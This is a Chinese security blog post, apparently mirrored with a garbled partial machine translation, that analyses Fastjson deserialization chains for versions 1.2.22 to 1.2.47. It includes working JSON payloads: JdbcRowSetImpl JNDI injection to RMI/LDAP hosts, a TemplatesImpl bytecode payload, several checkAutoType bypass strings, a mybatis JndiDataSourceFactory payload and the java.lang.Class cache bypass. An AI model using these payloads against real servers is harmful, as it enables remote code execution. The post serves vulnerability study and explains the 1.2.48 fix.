当前位置:网站首页>fastjson chain analysis (1.2.22-47)

fastjson chain analysis (1.2.22-47)

2022-08-10 17:18:00 HhhM

fastjson链分析(1.2.22-47)

2021-06-03 18:06:00
fastjson

文章首发自:合天

Some time ago, a teacher came to ask mefastjson的问题,Although I know about it, I haven't analyzed the specific chain,I have time to analyze it recentlyfastjsonTwo deserialization chains:

  • 1.2.22<=version<=1.2.24
  • 1.2.25<=version<=1.2.47

Brief description and use

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作.

项目地址:https://github.com/alibaba/fastjson

环境直接maven:

  <dependencies>
    ....
    <dependency>
      <groupId>com.alibaba</groupId>
      <artifactId>fastjson</artifactId>
      <version>1.2.22</version>
    </dependency>
  </dependencies>

首先是关于fastjsonThe class will be called during the serialization and deserialization processget跟set方法,A self-built class:

package org.example;

public class JsonTest {
    private int _id;
    private String _name;
    private String _passwd;

    public JsonTest(int _id, String _name, String _passwd) {
        this._id = _id;
        this._name = _name;
        this._passwd = _passwd;
    }

    public JsonTest() {
    }

    public int get_id() {
        System.out.println("get "+_id);
        return _id;
    }

    public void set_id(int _id) {
        System.out.println("set "+_id);
        this._id = _id;
    }

    public String get_name() {
        System.out.println("get "+_name);
        return _name;
    }

    public void set_name(String _name) {
        System.out.println("set "+_name);
        this._name = _name;
    }

    public String get_passwd() {
        System.out.println("get "+_passwd);
        return _passwd;
    }

    public void set_passwd(String _passwd) {
        System.out.println("set "+_passwd);
        this._passwd = _passwd;
    }

    @Override
    public String toString() {
        return "JsonTest{" +
                "_id=" + _id +
                ", _name='" + _name + '\'' +
                ", _passwd='" + _passwd + '\'' +
                '}';
    }
}

Main:

public static void main(String[] args) {
  JsonTest jsonTest = new JsonTest(1,"uname","passwd");
  System.out.println("[1]================");
  String str = JSON.toJSONString(jsonTest);
  System.out.println("[2]================");
  System.out.println(str);
  System.out.println("[3]================");
  Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
  System.out.println("[4]================");
  System.out.println(jsonTest1);

}

After running, the following results were obtained:

[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}

Obviously, the properties in the class will be called during serializationget方法,It is called when deserializingset方法.

One more needs to be added during the above deserialization processclass类的参数:JsonTest.class

而fastjsonAlso provides a way without specifying a class,称为autotype,而这种autotypeThis is what causes the deserialization vulnerability.

Specify the second parameter to the function of the serialization process:

JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);

At this point you can get a designationtype的json串:

{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}

There is no need to specify the corresponding class when deserializing it again:

Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);

当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,In this way, the dangerous class is called to attack the target machine,Next, analyze the process.

反序列化过程

先在JSON.parseObject处下个断点,Follow alongfastjson的反序列化过程.

首先进入到JSON.class中:

接着进入parse函数中:

public static Object parse(String text) {
        return parse(text, DEFAULT_PARSER_FEATURE);
    }

The default parsing method is usedDEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        } else {
            DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
            Object value = parser.parse();
            parser.handleResovleTask(value);
            parser.close();
            return value;
        }
    }

Its constructors are as follows:

       int ch = lexer.getCurrent();
        if (ch == '{') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 12;
        } else if (ch == '[') {
            lexer.next();
            ((JSONLexerBase)lexer).token = 14;
        } else {
            lexer.nextToken();
        }

It will be based on the corresponding{[去设置token,之后通过scanSymbol来获取到@type,并且autotypeIt also supports nested strings of the form below:

[
    {
        "@type": "xxx.xxx",
        "xxx": "xxx"
    },
    {
        "@type": "xxx.xxx",
        "xxx": {
            "@type": ""
        }
    },
    {
        "@type": "xxx"
    } : "xx",
    {
        "@type": "xxx"
    } : "xx"
]

Among them, for strings, there is also the following processing for double-byte characters:

\u或\x即是unicode或者16进制,And there are others such as\v等,A master did it总结

\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\ 
等,javaAfter the string is read, it becomes two characters,因此,fastjsonwill convert it to a single character
\f \FDouble characters are converted to single characters\f
\vConvert double characters\u000B单字符
\x..四字符16The binary number is read and converted to a single character
\u....six characters16The binary number is read and converted to a single character

This point can actually be used in somefilterbypass.

继续上面的scan,获取到@typeAfter that, it will continue to get its class name,最后赋值给typeName,Further calls are made at this pointTypeUtils.loadClass去加载类:

之后会从mappings中尝试取出class类(mappingsStored in some built-in classes):

如下,I will use it when I can't get itClassLoaderLoad the class and willclassName和其class类put进mapping中.

Then deserialize:

ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

There will be one along the waydenyList:

这一个list默认情况下只有一个Thread类:

this.denyList = new String[]{"java.lang.Thread"};

will eventually be calledset方法.

1.2.22-1.2.24

There are two exploit chains under this version:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析.

JdbcRowSetImpl

First of all, there are two ways to use the chain:RMI+JNDI和RMI+LDAP

Which I use isjdk8u66,You can refer to the restrictions and bypass methods of the higher version:

https://www.freebuf.com/column/207439.html

As mentioned earlier, deserialization will be calledset方法,And the loopholes arise because of thatset方法,直接拿payload打一下:

public static void main(String[] args) {
  String payload = "
 {\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
  JSON.parse(payload);
}

直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点:

直接进入到else中直接将datasourceSet to the value we passed in,再在setAutoCommitnext breakpoint:

同样进入else,关键在于这里的connect调用了lookup:

Finally made itJNDI注入,LDAP同样如此,Just modify the agreement.

Templateslmpl

The chain in front will not follow,体力活,The main thing is to understand its principle,具体可以看看:

https://www.cnblogs.com/afanti/p/10193158.html

https://xz.aliyun.com/t/8979#toc-6

payloadI refer to the second link above,Parts are cut out here for easy understanding:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

The default knows to start with an underscoreprivate属性,通过fastjsonIn fact, it cannot be directly assigned,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,So this chain is not really useful,But analyze and exercise code auditing ability.

The first is the handling of underscores,在JavaBeanDeserializer#smartMatchwill handle underscores,Then call the corresponding oneset方法,bytecodesWill be done at the endbase64解码,并且bytecode是binary,fastjsonDeserialization of such strings is not supported in ,So this is what it doesbase64字符串的原因,而对于_outputPropertiesThis property is rather special,What it calls is notset方法而是get方法,So I focus on following it.

因为在调用setmethod is passedFieldDeserializer#setValue,So make a breakpoint here.

Follow the call to the followinggetOutputProperties方法是通过invoke,Then the command is executed:

但methodThe source still needs to be investigated.

经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializersIt is obtainedgetOutputProperties的关键:

在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debugAble to find and get onesetThe method is through the following code:

同样位于buildThere is a section under the function to getgetter的代码:

其中OutputProperties的getterJust got it from here,But that still doesn't dispel the question as to why you should get itgetter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,And then it willmap调用putAll:

Map map = (Map)method.invoke(object);
if (map != null) {
    map.putAll((Map)value);
}

That is, if onejson串:

{"@type": "xxx.xxx", "hhhm": {"key": "value"}}

会需要将{"key": "value"}放入hhhm中,因此需要先调用getto get this onemapto facilitate subsequent assignments.

跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在:

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

After a series of calls it finally arrivedTEMPOC中执行到RCE:

BasicDataSource

It was only after a question encountered in the provincial competition that I knew that there was still this chain,先mark下:

http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/

This chain can only be used for Fastjson 1.2.24及更低版本,The scope of use is small compared to the first two chains,The article at the link is also very detailed,不做过多叙述.

1.2.25-1.2.45partially bypassed

Directly holding the original chain to play will find an error,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复:

//1.2.24
Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class<?> clazz = config.checkAutoType(typeName);

autoTypeSupport默认修改为false:

It needs to be turned on in the following way:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

并且有一个denylist,to filter out the classes in the chain used earlier:

Some are manually turned onautoTypeThe bypass chain will not be analyzed,The bypass point is also easier to see,具体看https://xz.aliyun.com/t/9052

This part of bypassing personal feeling appliesctf中,不做分析了,下面贴一下payload.

1.2.25-1.2.41

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.42

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.43

{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}

1.2.25-1.2.45

The target server needs to existmybatis的jar包,且版本需为3.x.x系列<3.5.0的版本

payload:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}

1.2.25-1.2.47

This chain is kill-through,The best part is that it doesn't need to be turned onAutoTypeSupport,Compared with the bypass mentioned above, the utilization surface is much wider,So focus on the analysis.

该链在<1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32Whether the last five rounds are turned on can be used.

payload:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

前面提到在checkAutoType中有这么一个if:

if (this.autoTypeSupport || expectClass != null) 

因为autoTypeSupport默认为false,所以ifThe code inside is skipped,And the utilization of this chain does not require this oneif,follow behind:

这里的deserializers.findClass比较关键:

此处的this.bucketsYou will find that it has a lot of built-in classes,如:

Then the problem is here,The class we currently pass in is java.lang.class,And the class is in this onebuckets中,而deserializers中有一个put方法,It's this one method that whitelists the class and avoids itautotype的限制.

Off topic,Backtracking a little bit leads to the next initializationdeserializers对象的方法:

The classes in the whitelist are all here.

More curious hereclass类的作用,在对class类进行反序列化时,其调用链如下:

deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImpl

此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24mentioned in the chain,其会尝试从mappings中取出类:

Class<?> clazz = (Class)mappings.get(className);

When not available, the class loader will be called to load the class,Received at this timecom.sun.rowset.JdbcRowSetImpl.

The most deadly operation after that:

mappings.put(className, clazz);

com.sun.rowset.JdbcRowSetImplThis class is put inmappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:

他会直接从mappings中取类,And the front has beenJdbcRowSetImpl放入mappings中,A bypass is reached at this pointautotypeclosed restrictions.

The purpose of development should be the efficiency of program operation,Save yourself the trouble of having to reload the class every time,但却因为class在反序列化时会调用loaderLoading other classes in has the consequence of bypassing the list.

而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false:

if (cache) {
  mappings.put(className, clazz);
}

Not at this timeclassThe class is loaded into the cache.

参考文章

https://www.cnblogs.com/afanti/p/10193158.html

https://xz.aliyun.com/t/9052

https://rmb122.com/2020/02/01/fastjson-RCE-%E5%88%86%E6%9E%90/

https://xz.aliyun.com/t/8979#toc-2

本文原创于HhhM的博客,转载请标明出处.

原网站

版权声明
本文为[HhhM]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/222/202208101649462219.html